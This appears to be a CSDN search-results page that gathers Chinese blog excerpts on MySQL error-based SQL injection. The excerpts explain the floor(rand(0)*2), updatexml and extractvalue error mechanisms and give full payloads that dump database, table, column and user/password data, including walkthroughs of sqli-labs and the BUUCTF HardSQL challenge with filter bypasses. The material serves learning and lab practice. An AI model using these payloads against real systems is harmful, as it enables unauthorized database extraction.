精华内容
下载资源
问答
  • SQL报错注入

    2019-12-14 16:22:45
    报错注入的原理分析SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。 2. 什么时候需要用到报错注入? 一般...

    1. 什么是报错注入?

    报错注入的原理分析SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。

    2. 什么时候需要用到报错注入?

    一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解;

    3. 报错公式

    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
    //爆数据库
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(TABLE_NAME AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’DATABASE_NAME’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)   
    //爆表名,可以利用group_concat爆多个数据
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(COLUMN_NAME AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’TABLE_NAME’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)    
    //爆字段,可以利用group_concat爆多个数据
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(USER) AS CHAR),0x7e)) FROM DATABASE.TABLE LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) 
    //爆数据,但是一次只能爆一个
    

    4. 公式解析

    floor()是取整数
    rand()01之间产生一个随机数
    rand(0)*2将取02的随机数 
    floor(rand()*2)有两条记录就会报错
    floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
    count(*)是用来统计结果的,相当于刷新一次结果
    group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)1
    在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
    
    展开全文
  • sql 报错注入

    2020-12-22 09:33:32
    sql报错注入 ​ 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 xpath语法错误(局限性) extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责...

    sql报错注入

    ​ 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

    xpath语法错误(局限性)

    extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

    updatexml

    函数原型:updatexml(xml_document,xpath_string,new_value)
    正常语法:updatexml(xml_document,xpath_string,new_value)
    第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
    第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

    第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

    例题:sqli-labs

    Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+       爆库
    

    1608557238748

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+       爆表
    

    1608557368922

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+                                        爆列
    

    1608557617454

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+                                                      爆数据                             
    

    1608557862959

    PS:updatexml的最大长度是32位的,所以有所局限,如果长度超过了32位就不会被显示出来。

    总结:

    爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
    
    爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
    
    爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
    
    爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
    

    extractvalue函数

    函数原型:extractvalue(xml_document,Xpath_string)
    正常语法:extractvalue(xml_document,Xpath_string);
    第一个参数:xml_document是string格式,为xml文档对象的名称
    第二个参数:Xpath_string是xpath格式的字符串
    作用:从目标xml中返回包含所查询值的字符串

    查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
    
    爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
    
    爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
    
    爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
    
    

    BUUCTF-[极客大挑战 2019]HardSQL(报错注入)

    1、用bp fuzz后,union|order by|等号|空格|substr等被过滤,空格没有被过滤,大致有个印象

    2、爆当前的数据库名:
    空格绕过:用括号()包起来就行

    admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
    

    ->库名:geek
    3、爆表名:
    等号绕过:用like替换

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
    

    ->表名:H4rDsq1
    4、爆字段名:

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
    

    ->字段:id,username,password
    5、

    'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
    

    flag{9f09946d-4c83-40f5-982
    没出全
    这时候就要想到mysql的一些函数,substr,left,right
    注意:substr被过滤了

    admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
    

    结果:XPATH syntax error: ‘3-40f5-9828-9593ee5f3f4c}

    拼接后结果:
    flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

    展开全文
  • SQl报错注入

    2020-09-23 09:30:46
    报错注入:extractvalue、updatexml报错原理 ... 学习基于extractvalue()和updatexml()的报错注入 ... sql基于 extractvalue(),floor(),updatexml()函数的报错注入 https://blog.csdn.net/

    报错注入:extractvalue、updatexml报错原理

    https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

    学习基于extractvalue()和updatexml()的报错注入

    https://blog.csdn.net/zpy1998zpy/article/details/80631036

    sql基于 extractvalue(),floor(),updatexml()函数的报错注入

    https://blog.csdn.net/qq_39101049/article/details/88839514

    SQL注入——报错注入

    https://www.cnblogs.com/richardlee97/p/10617115.html

    mysql报错注入原理_Mysql报错注入之floor(rand(0)*2)报错原理探究

    https://blog.csdn.net/weixin_31481495/article/details/113229331

    sql预处理注入

    floor(rand()*2)  报错

    mysql> select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a;

    ERROR 1062 (23000): Duplicate entry 'test0' for key '<group_key>'

     

    join  using 报错  

    mysql> select * from (select * from test as a join (select * from test )b)c;

    ERROR 1060 (42S21): Duplicate column name 'id'

    mysql> select * from (select * from test as a join (select * from test )b using(id))c;

    ERROR 1060 (42S21): Duplicate column name 'title'

    mysql> select * from (select * from test as a join (select * from test )b using(id,title))c;

     

    十种MySQL报错注入

    以下均摘自《代码审计:企业级Web代码安全架构》一书

    1.floor()

    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2.extractvalue()

    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    3.updatexml()

    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    4.geometrycollection()

    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5.multipoint()

    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

    6.polygon()

    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

    7.multipolygon()

    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8.linestring()

    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    9.multilinestring()

    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10.exp()

    select * from test where id=1 and exp(~(select * from(select user())a));

    展开全文
  • 关于SQL报错注入原理详细解析 之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更...

    关于SQL报错注入原理详细解析

    之前读过多篇关于Mysql报错注入之floor(rand(0)*2)报错原理探究的文章,都觉得原理阐述大同小异,但在具体细节上,还是不太明白,结合看过的文章和自己的理解,对SQL报错注入原理进行更细致的分析,身为一名网络安全小白,也是想和刚入门的同学一起研究sql注入原理,文章如果有错误的地方,希望大佬批评指正。有兴趣的同学可以查看此篇文章的链接,了解sql报错注入的一般原理:Mysql报错注入之floor(rand(0)*2)报错原理探究
    在报错原理分析中,主要困惑我的地方就是:
    对于下图表1:
    在这里插入图片描述
    执行正常的sql语句:select count(*), age as a from ..... group by a;后形成下表2:
    在这里插入图片描述
    执行过程可以解释为先执行 group by age 语句,顺序检测表1中age值,比如第一个age取值为18,则检测由
    select count(), age as a from … group by a
    形成的虚表中是否有18这个取值,如果有,则count值+1,如果没有,则将该条记录添加进虚表中。形成的虚表如图3所示:
    在这里插入图片描述
    而对于实际报错注入中,常用的语句
    select count(), floor(rand(0)2) as a from .... group by a
    语句实现过程讲解中,对于 floor(rand(0)2) 的取值,第一次执行时,若值为0,则继续检查虚表中是否有记录,若有0记录,则count值+1,若没有0记录,则准备插入该条记录,并再次计算 floor(rand(0)2),并插入第二次计算的值。
    ?????????
    这点讲解就有点让人迷惑,和上述以age为例子的执行过程讲解貌似不一样,正常逻辑应该是如果没有记录,则应该是将该条记录插入到虚表中,可实际执行过程并不是这样。
    通过我的思考,我认为执行过程可以这样理解,group by 语句执行次数是与虚表中有无相同记录决定的,有相同记录则执行1次,没有则执行2次。
    1.首先为了完善虚表,需要第一次执行group by …语句,并从原表中取出特定一条记录,如在第一个例子中,第一次执行group by age时,是取出age=18 这条记录,并准备将它放入虚表中。之后对比取出的记录age=18和虚表中的是否有相同记录,如果虚表中存在记录,则group by…仅此执行一次,通过比较发现两条记录一样(age=18),则令count+1.
    2.如果虚表中没有记录,需要在虚表中插入该记录,实际上就是隐含执行了一次insert操作,确定主键key(在表1对应的是age)的值,所以需要再次确定age值,并将该值放入虚表主键一栏中,并令count值+1.
    至此,根据上述解释,关于语句

    select count(), floor(rand(0)2) as a from .... group by a
    

    就可以解释的通了,就是第一次执行group by a 是取出记录,通过比较虚表中记录,若存在记录,则直接令相关记录count+1,若不存在记录,则进行一次insert操作,需要再次运行floor(rand(0)2)确定主键key 的值,并将该条记录放入虚表中。接下来报错的解释就很容易理解了。

    展开全文
  • SQL报错注入小结

    万次阅读 2018-05-13 15:53:19
    sqli-labs的前4个实验(Lab1-Lab4)是基于SQL报错注入(Error-based injection)。什么是SQL报错注入?这是一种页面响应形式。响应过程如下:当用户在前台页面上输入检索内容时,后台将前台页面上输入的检索内容无加区别...
  • sql报错注入简单介绍

    2020-08-12 15:05:30
    sql报错注入 updatexml() UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。 第二个参数:XPath_string (Xpath格式的字符串) ,如果...
  • SQL报错注入攻击中的updatexml()函数 sql报错注入是程序将错误信息输出到页面上,如果get获取参数拼接到SQL语句中,执行成功,正常输出;如果出错,PHP代码里会执行一个echo mysqli_error(con)的语句(这里只是举个...
  • sql报错注入基础讲解

    2020-09-20 17:57:12
    报错注入:构造payload让信息通过错误提示回显出来 应用场景:查询不回显内容,会打印错误信息 php代码: if($row) { echo 'you login name:'.$row['username']'; } else { print_r(mysql_errot()); } 如果能让...
  • 手工测试sql注入及原理1、SQL 整数型注入查数据库名查数据表查flag表字段2、字符型注入3、报错注入updatexml() 函数致MYSQL显错注入原理updatexml() 函数定义updatexml() 函数运行机制updatexml() 函数运行示例不...
  • 报错注入:extractvalue、updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml 名称 描述 ExtractValue() 使用XPath表示法从XML字符串中提取值 ...
  • sql报错注入函数

    2020-04-24 23:32:05
    #1.floor() #数据尾部多一个1 #?id=1'and (select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+ #?id=1' union select 1,2,count(*) from information_schema.tables...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,836
精华内容 1,134
关键字:

sql报错注入